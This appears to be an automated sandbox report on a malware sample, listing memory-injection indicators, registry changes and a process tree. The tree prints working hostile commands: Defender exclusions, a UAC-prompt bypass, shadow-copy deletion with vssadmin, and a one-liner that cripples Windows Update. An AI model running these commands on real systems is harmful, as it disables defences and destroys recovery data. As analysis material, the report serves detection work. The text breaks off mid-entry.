Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2344 wrote to memory of 4360	2344	kNKnLl.exe	93
PID 4360 wrote to memory of 4896	4360	cmd.exe	96
PID 4360 wrote to memory of 1888	4360	cmd.exe	98
PID 4360 wrote to memory of 3320	4360	cmd.exe	100
PID 2344 wrote to memory of 460	2344	kNKnLl.exe	102
PID 460 wrote to memory of 2240	460	cmd.exe	105
PID 2344 wrote to memory of 3720	2344	kNKnLl.exe	106
PID 3720 wrote to memory of 3164	3720	cmd.exe	109
PID 460 wrote to memory of 4704	460	cmd.exe	110
PID 3720 wrote to memory of 544	3720	cmd.exe	111
PID 460 wrote to memory of 4616	460	cmd.exe	113
PID 3720 wrote to memory of 4120	3720	cmd.exe	114
PID 3280 wrote to memory of 4084	3280	cmd.exe	116
PID 60 wrote to memory of 5108	60	cmd.exe	117
PID 2344 wrote to memory of 2192	2344	kNKnLl.exe	118
PID 2192 wrote to memory of 4324	2192	cmd.exe	120
PID 2192 wrote to memory of 728	2192	cmd.exe	121
PID 2192 wrote to memory of 1784	2192	cmd.exe	124
PID 4216 wrote to memory of 4920	4216	cmd.exe	125
PID 2344 wrote to memory of 4720	2344	kNKnLl.exe	126
PID 4720 wrote to memory of 4904	4720	cmd.exe	128
PID 4720 wrote to memory of 1188	4720	cmd.exe	129
PID 4720 wrote to memory of 760	4720	cmd.exe	132
PID 1392 wrote to memory of 2596	1392	cmd.exe	133
PID 2344 wrote to memory of 4444	2344	kNKnLl.exe	135
PID 4444 wrote to memory of 740	4444	3Ew4PB.exe	138
PID 4444 wrote to memory of 3164	4444	3Ew4PB.exe	140
PID 4444 wrote to memory of 4572	4444	3Ew4PB.exe	143
PID 3164 wrote to memory of 4536	3164	cmd.exe	145
PID 4444 wrote to memory of 2760	4444	3Ew4PB.exe	146
PID 2760 wrote to memory of 1784	2760	cmd.exe	148
PID 4444 wrote to memory of 4812	4444	3Ew4PB.exe	149
PID 4812 wrote to memory of 3116	4812	cmd.exe	151
PID 4444 wrote to memory of 1812	4444	3Ew4PB.exe	152
PID 1812 wrote to memory of 3176	1812	cmd.exe	154
PID 4444 wrote to memory of 3100	4444	3Ew4PB.exe	155
PID 3100 wrote to memory of 2596	3100	cmd.exe	157
PID 4444 wrote to memory of 4952	4444	3Ew4PB.exe	158
PID 4952 wrote to memory of 5032	4952	cmd.exe	160
PID 4444 wrote to memory of 4948	4444	3Ew4PB.exe	161
PID 4948 wrote to memory of 3016	4948	cmd.exe	163
PID 4444 wrote to memory of 4384	4444	3Ew4PB.exe	164
PID 4384 wrote to memory of 3816	4384	cmd.exe	166
PID 4444 wrote to memory of 2140	4444	3Ew4PB.exe	167
PID 2140 wrote to memory of 1216	2140	cmd.exe	169
PID 4444 wrote to memory of 2176	4444	3Ew4PB.exe	170
PID 2176 wrote to memory of 4456	2176	cmd.exe	172
PID 4444 wrote to memory of 4080	4444	3Ew4PB.exe	173
PID 4080 wrote to memory of 1108	4080	cmd.exe	175
PID 4444 wrote to memory of 1708	4444	3Ew4PB.exe	176
PID 1708 wrote to memory of 176	1708	cmd.exe	178
PID 4444 wrote to memory of 3044	4444	3Ew4PB.exe	179
PID 3044 wrote to memory of 852	3044	cmd.exe	181
PID 4444 wrote to memory of 2704	4444	3Ew4PB.exe	182
PID 2704 wrote to memory of 3500	2704	cmd.exe	184
PID 4444 wrote to memory of 636	4444	3Ew4PB.exe	185
PID 636 wrote to memory of 2736	636	cmd.exe	187
PID 4444 wrote to memory of 3264	4444	3Ew4PB.exe	191
PID 4444 wrote to memory of 4212	4444	3Ew4PB.exe	193
PID 4444 wrote to memory of 3176	4444	3Ew4PB.exe	195
PID 4212 wrote to memory of 4632	4212	cmd.exe	197
PID 3176 wrote to memory of 1188	3176	cmd.exe	198
PID 1188 wrote to memory of 1404	1188	net.exe	199
PID 4212 wrote to memory of 3616	4212	cmd.exe	200

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	GrOcS3OF.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	3Ew4PB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	3Ew4PB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	GrOcS3OF.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-16_abf64ff2e0a99380417a81c10f3fa8d0_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4512

C:\Users\Public\nW1pr0\kNKnLl.exe
C:\Users\Public\nW1pr0\kNKnLl.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nW1pr0\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nW1pr0\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4704
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4324
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:728
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4904
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:760
- C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe
  "C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:740
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4536
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4572
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1784
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4812
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3116
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3176
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2596
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\3Ew4PB.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5032
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3016
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1216
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4456
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1108
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:176
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:852
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:636
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\3Ew4PB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2736
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3264
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\3Ew4PB\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4212
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\3Ew4PB\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4632
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3616
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2960
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1188
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1404
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:1112
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4716
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:5084
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1596
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4600
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4368
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4972
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:4636
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2240
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:508
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:2980
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5116
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4272
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2292
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4772
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4856
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4328
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4224
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1052
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3016
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:768
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2960
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2436
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2312
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
